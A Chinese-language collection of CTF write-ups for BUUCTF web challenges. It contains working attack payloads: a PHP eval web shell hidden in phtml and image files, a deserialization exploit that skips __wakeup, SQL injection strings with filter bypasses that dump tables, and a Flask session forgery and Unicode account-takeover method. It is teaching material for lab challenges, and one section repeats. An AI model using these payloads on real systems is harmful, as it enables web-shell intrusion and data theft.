Buuctf-web 武林秘籍

# 极客大挑战 2019 upload

关键词:php,phtml,过滤 <?,文件上传

根据 Content-Type 判断图片:Content-Type: image/png

过滤’<?’,传 phtml 一句话木马

1
2
GIF89a
<script language="php">eval($_POST['shell']);</script>

phtml 简单来说就是将 php 嵌入 html 中

(这题很诡异的是我上传一个正常图片,回显 Not Image)


# 极客大挑战 2019 php

关键词:php 反序列化,网站备份,php 代码审计

🎀网站备份文件名猜测,嫌麻烦直接上目录扫描,为 www.zip

www.zip 中包含的文件主要为 index.php,class.php,flag.php

🎀index.php 中关键代码片段如下:

1
2
3
4
5
<?php
include 'class.php';
$select = $_GET['select'];
$res=unserialize(@$select);
?>

从 get 请求中获取’select’的值,再将该变量反序列化(其中变量前加 @是为了防止报错信息输出,导致信息泄露)

🎀class.php 中 Name 对象:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
<?php
include 'flag.php';


error_reporting(0);


class Name{
private $username = 'nonono';
private $password = 'yesyes';

public function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}

function __wakeup(){
$this->username = 'guest';
}

function __destruct(){
if ($this->password != 100) {
echo "</br>NO!!!hacker!!!</br>";
echo "You name is: ";
echo $this->username;echo "</br>";
echo "You password is: ";
echo $this->password;echo "</br>";
die();
}
if ($this->username === 'admin') {
global $flag;
echo $flag;
}else{
echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
die();


}
}
}
?>
O:4"Name":3:{s:8:"username";s:5:"admin";s:8:"password";i:100;}

从__destruct () 函数中的逻辑来看,只有当 password=100,username=admin 时,会输出 flag 的值

__construct 构造函数会将我们传入的值赋值给变量 password 和 username,但是在反序列化后会调用__wakeup (),将 username 赋值为 guest

CVE-2016-7124:当序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup 的执行

👆👆👆通过上述漏洞可以跳过__wakeup () 的执行

构造 exp.php

1
2
3
4
5
6
7
8
<?php
Class Name{
private $username = 'nonono';
private $password = 'yesyes';
}
$a = new Name();
echo serialize($a);
?>

输出:

1
O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";s:3:"100";}

但是用 url 编码输出为:

1
O%3A4%3A%22Name%22%3A2%3A%7Bs%3A14%3A%22%00Name%00username%22%3Bs%3A5%3A%22admin%22%3Bs%3A14%3A%22%00Name%00password%22%3Bs%3A3%3A%22100%22%3B%7D

在 Nameusername,Namepassword 中,类名以及变量名前都存在不可见字符 %00

因为 private 声明的字段为私有字段,只在所声明的类中可见,在该类的子类和该类的对象实例中均不可见。因此私有字段的字段名在序列化时,类名和字段名前面都会加上 ascii 为 0 的字符 (不可见字符)

⭐payload 需要修改的地方为成员变量个数,以及私有字段前增加 %00 (url 编码的不可见字符)

payload:

1
select=O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}

总结

🌰备份文件参考

常见的网站源码备份文件后缀:tar、tar.gz、zip、rar

常见的网站源码备份文件名:web、website、backup、back、www、wwwroot、temp

🌰php 魔术方法

serialize () 时,若存在__sleep (),会先调用__sleep (),再执行序列化操作

unserialize () 时,若存在__wakeup (),反序列化后会调用__wakeup ()


# ACTF2020 新生赛 Upload1

关键词:图片马

🐴合成图片马命令:

1
copy 2.jpg/b + shell.php/a shell.jpg

上传 shell.jpg,抓包更改后缀名为 php,回显 nonono~ Bad file!

更改后缀名为随机乱码字符,回显上传成功,目测设置黑名单

设置 phtml 后缀名,绕过成功

shell.php:

1
<script language="php">eval($_POST['shell']);</script>

合成图片马,上传改后缀,连 shell


# 极客大挑战 2019 BabySQL1

关键词:sql 注入、过滤关键字、过滤特殊符号、字符拼接

看题,登录框 sql 注入

经测试,发现过滤字符:select,sleep,*,and,or,union…

哈哈很多常用的嘛,不测了

考虑使用字符拼接绕过关键词检测,%2b 为’+‘url 编码,直接使用’+' 会被转成空格,payload:

1
?username=admin' an%2bd+slee%2bp(10)--+&password=111

然后看着题目,发现过滤的关键字都置空的,双写也能绕过

1
?username=admin' anandd sleesleepp(10)--+&password=111

打点到此结束⭐⭐⭐⭐⭐⭐⭐⭐⭐⭐⭐⭐⭐⭐⭐⭐⭐⭐⭐⭐⭐⭐⭐⭐⭐

直接登录获得的并不是 flag,继续找 ,order by 发现为 3 个字段

1
?username=admin' o%2brder b%2by 4--+&password=111

回显的字段为 2,3

1
?username=admin&password=111' uni%2bon sele%2bct 1,2,3--+

爆表,从 information_schema.tables 中查找当前数据库所有表名,拼接在一起后在第二个字段输出

1
?username=admin&password=111' uni%2bon sele%2bct 1,group_concat(table_name),3 fr%2bom info%2brmation_schema.tables whe%2bre ta%2bble_schema=database()--+

爆字段

1
?username=admin&password=111' uni%2bon sele%2bct 1,group_concat(column_name),3 fr%2bom info%2brmation_schema.columns whe%2bre ta%2bble_name='b4bsql'--+

输出:

1
Hello id,username,password!

然后发现两个表字段都是一样的,那找 b4bsql 中的数据吧

拼接每行数据,并用 — 隔开

1
?username=admin&password=111' uni%2bon sele%2bct 1,group_concat(concat_ws('---',username,passwo%2brd)),3 fr%2bom b4bsql--+

输出:

总结

SQL 字符串拼接


# ACTF2020 新生赛 BackupFile1

关键词:is_numeric () 绕过,== 绕过,php 弱类型比较表

看题,找备份文件,index.php.bak

🐴index.php 代码如下:

1
<?phpinclude_once "flag.php";if(isset($_GET['key'])) {    $key = $_GET['key'];    if(!is_numeric($key)) {        exit("Just num!");    }    $key = intval($key);    $str = "123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3";    if($key == $str) {        echo $flag;    }}else {    echo "Try to find out source file!";}

分析 1️⃣下,get 传递参数 key

key 通过 is_numeric 判断是否为数字,再通过 intval 获取变量 key 的整数值

最后如果变量 key==“123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3”,输出 flag

ヾ (。`Д´。) 干嘛干嘛呢这是,气人

ლ(╹◡╹ლ) 好了,百度完回来了

is_numeric (),可以将字符串转换成 16 进制,绕过判断(经常造成 sql 注入)

intval (),获取变量的整数值,默认为十进制

==,弱类型比较,当字符串和数字进行比较时,只提取字符串中开头的整数部分

⭐然后突然发现 str 是以 123 开头,弱类型比较是等于 123 的

好了 payload:?key=123,成功拿到 flag

…(_ _) ノ|壁


# ACTF2020 新生赛 BackupFile1

关键词:is_numeric () 绕过,== 绕过,php 弱类型比较表

看题,找备份文件,index.php.bak

🐴index.php 代码如下:

1
<?phpinclude_once "flag.php";if(isset($_GET['key'])) {    $key = $_GET['key'];    if(!is_numeric($key)) {        exit("Just num!");    }    $key = intval($key);    $str = "123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3";    if($key == $str) {        echo $flag;    }}else {    echo "Try to find out source file!";}

分析 1️⃣下,get 传递参数 key

key 通过 is_numeric 判断是否为数字,再通过 intval 获取变量 key 的整数值

最后如果变量 key==“123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3”,输出 flag

ヾ (。`Д´。) 干嘛干嘛呢这是,气人

ლ(╹◡╹ლ) 好了,百度完回来了

is_numeric (),可以将字符串转换成 16 进制,绕过判断(经常造成 sql 注入)

intval (),获取变量的整数值,默认为十进制

==,弱类型比较,当字符串和数字进行比较时,只提取字符串中开头的整数部分

⭐然后突然发现 str 是以 123 开头,弱类型比较是等于 123 的

好了 payload:?key=123,成功拿到 flag

…(_ _) ノ|壁


# HCTF 2018 admin1

关键字:flask,session 伪造,unicode 欺骗

🦋登录和注册界面,看题 admin

输入 admin/admin 登录失败

注册 admin/admin 该账户已被注册

🦋爆破⑧行,试了几个弱口令,我觉得留一个注册页面应该是用来注册的

注册 admin123/admin123(弱口令老玩家٩◔̯◔۶ )

登录后回显(测了一遍并没有什么用):

🦋在 changepassword 中有一行被注释掉的提示信息

1
<!-- https://github.com/woadsl1234/hctf_flask/ -->

flask 是一个微型的 python 开发的 web 框架

然后发现是题目源码,但是.sql 文件中存储的 admin 密码是 hash 加密过的

🎀对不起我只能想到构造 admin 的 session 登录 session 用户了

img

给当前登录用户的 session 解密如下:

可以看到当前登录用户是 admin123 辣

index.html 界面会回显用户账户名,目测是根据 session 中的 name 回显的,查看源代码中的 index.html 文件:

1
2
3
4
5
6
7
8
9
10
{% include('header.html') %}
{% if current_user.is_authenticated %}
<h1 class="nav">Hello {{ session['name'] }}</h1>
{% endif %}
{% if current_user.is_authenticated and session['name'] == 'admin' %}
<h1 class="nav">hctf{xxxxxxxxx}</h1>
{% endif %}
<!-- you are not admin -->
<h1 class="nav">Welcome to hctf</h1>
{% include('footer.html') %}

当 session 中的 name=admin 时,会输出 flaghctf

但是 flask session 加密需要秘钥,在 config.py 中找到 SECRET_KEY=os.environ.get (‘SECRET_KEY’) or ‘ckj123’

buuctf-web11

利用 flask_session 加解密工具进行 session 加解密

将以下数据加密

1
{'_fresh': True, '_id': b'22ef025f1846ed290c3abc33091af4789157e04648638256aa7b8d41e4e27adfa91e24e72c43d5d81353bd327192646b54ca6b77e66626aab5f3d7521feba4ef', 'csrf_token': b'62c673754392025e9b7ce0ec4fe937415e76df71', 'image': b'wlBG', 'name': 'admin', 'user_id': '10'}

拿到 flag,好耶ヾ (✿゚▽゚) ノ

🎀再来撸一下 unicode 同形字引起的安全问题

在这里 Twisted库的版本是10.0.0

nodeprep.prepare () 函数,第一次调用:会把其他类的编码转为 ascii 码,第二次调用:内容转为小写

1
ᴬᴰᴹᴵᴺ —> ADMIN —> admin

查看源代码 rutes.py,自定义一个转小写函数:

1
def strlower(username):    username = nodeprep.prepare(username)    return username

在三个功能点处都调用过一次该函数:register、login、change

在登录时,会调用 strlower (),将ᴬᴰᴹᴵᴺ 转成 ADMIN,存储在 session 中

1
if request.method == 'POST':        name = strlower(form.username.data)        session['name'] = name

因此,我们注册一个账户名为ᴬᴰᴹᴵᴺ的用户,登录后欢迎界面会显示 ADMIN

修改密码时,同样会再次调用 strlower (),将 ADMIN 转成 admin,存储在 session 中

1
if request.method == 'POST':        name = strlower(session['name'])        user = User.query.filter_by(username=name).first()        user.set_password(form.newpassword.data)        db.session.commit()        flash('change successful')        return redirect(url_for('index'))

因此此时我们修改的密码为 admin 的密码

然后嚯嚯嚯拿到 flag ヾ (・ω・`。)

🎀大失败

因为登录时,是先写入 session,再判断该账户是否登录成功

改密码时,需要获取 session,再进行密码修改

因此在登录写入 session 之后,判断用户是否登录成功销毁 session 之前,此时修改密码,就可以成功修改登录用户的密码

但是我没有看见 login 处登录失败时,会销毁 session

🐴所以先在火狐上登录一个随便注册的账号,打开更改密码界面

🐴再在谷歌上登录 admin 账号(随便输入密码)

🐴最后修改密码

用修改的密码登录 admin 账号失败

参考链接:

此题三种解法

flask session

Unicode 小骗子

php 弱类型比较表


# 极客大挑战 2019 BuyFlag

关键词:php、strcmp () 绕过

🎀查看 pay.php 源码,发现提示

1
2
3
4
5
6
~~~post money and password~~~if (isset($_POST['password'])) {
$password = $_POST['password'];
if (is_numeric($password)) {
echo "password can't be number</br>"; }elseif ($password == 404) {
echo "Password Right!</br>";
}

password 弱比较,password=404a

🎀根据 Flag need your 100000000 money,可以使用科学计数法 1e9,也可以通过 strcmp 漏洞,进行绕过

money []=a 或者 money=1e9 都可以

🎀根据 You must be a student from CUIT,大概率是在 cookie 处验证身份信息

发现 cookie 处有一个 user=0,改成 user=1 即可通过验证


# BJDCTF2020 Easy MD5

关键词:php、md5 () 绕过

抓包看见响应包中的提示

1
Hint: select * from 'admin' where password=md5($pass,true)

看题如果正常 md5 加密 pass 这个逻辑,肯定注不进去哇

辣就去找关于 md5 () 这个函数的漏洞

语法:md5 (string,raw)

string: 所需加密的字符串

raw: 可选参数 TRUE 或 FALSE。FALSE(默认,32 字符十六进制数);TRUE(原始 16 字符二进制格式)

也就是说当第二个参数为 true 时,返回的是原始 16 字符二进制格式的散列值,会被当做 ascii 码字符串处理(?)

⭐原始二进制数据指原始字符串转换成 ascii 码后组成的字符串

所以只需要找到一个 str,经过 md5 (str, true) 加密后,再转成 ascii 码字符串,包含我们需要注入的字符即可

看 sql 语句

1
select * from 'admin' where password=md5($pass,true)

将 where 后的条件恒为真时,我们就可获取 admin 表中的所有数据

🐴能用的字符串

1
content: 129581926211651571912466741651878684928hex: 06da5430449f8f6f23dfc1276f722738raw: \x06\xdaT0D\x9f\x8fo#\xdf\xc1'or'8string: T0Do#'or'8content: ffifdyophex: 276f722736c95d99e921722cf9ed621craw: 'or'6\xc9]\x99\xe9!r,\xf9\xedb\x1cstring: 'or'6]!r,b

当且仅当 or 后字符串开头字符为 0 时,返回 false

输入 payload,跳转至 levels91.php,源码中包含提示:

1
$a = $GET['a'];$b = $_GET['b'];if($a != $b && md5($a) == md5($b)){    // wow, glzjin wants a girl friend.

当字符串 a,b 不相等,md5 加密后的字符串相等后,进入 if 中没有放出来的代码

⭐5️⃣⑧訾 Dao の 4:md5 () 或者 sha1 () 之类的函数计算的是一个字符串的哈希值,对于数组则返回 false,如果aa和 b 都是数组则双双返回 FALSE, 两个 FALSE 相等得以绕过

payload:

1
?a[]=111&b[]=www

跳转至 levell14.php

1
<?phperror_reporting(0);include "flag.php";highlight_file(__FILE__);if($_POST['param1']!==$_POST['param2']&&md5($_POST['param1'])===md5($_POST['param2'])){    echo $flag;} 

payload (POST 请求):

1
param1[]=1&param2[]=2

一样の zsd

参考链接

PHP 中 md5 常见绕过

PHP_md5 函数

探究 php 的 MD5 函数输出的原始二进制数据是啥?

哒暗


未完待续…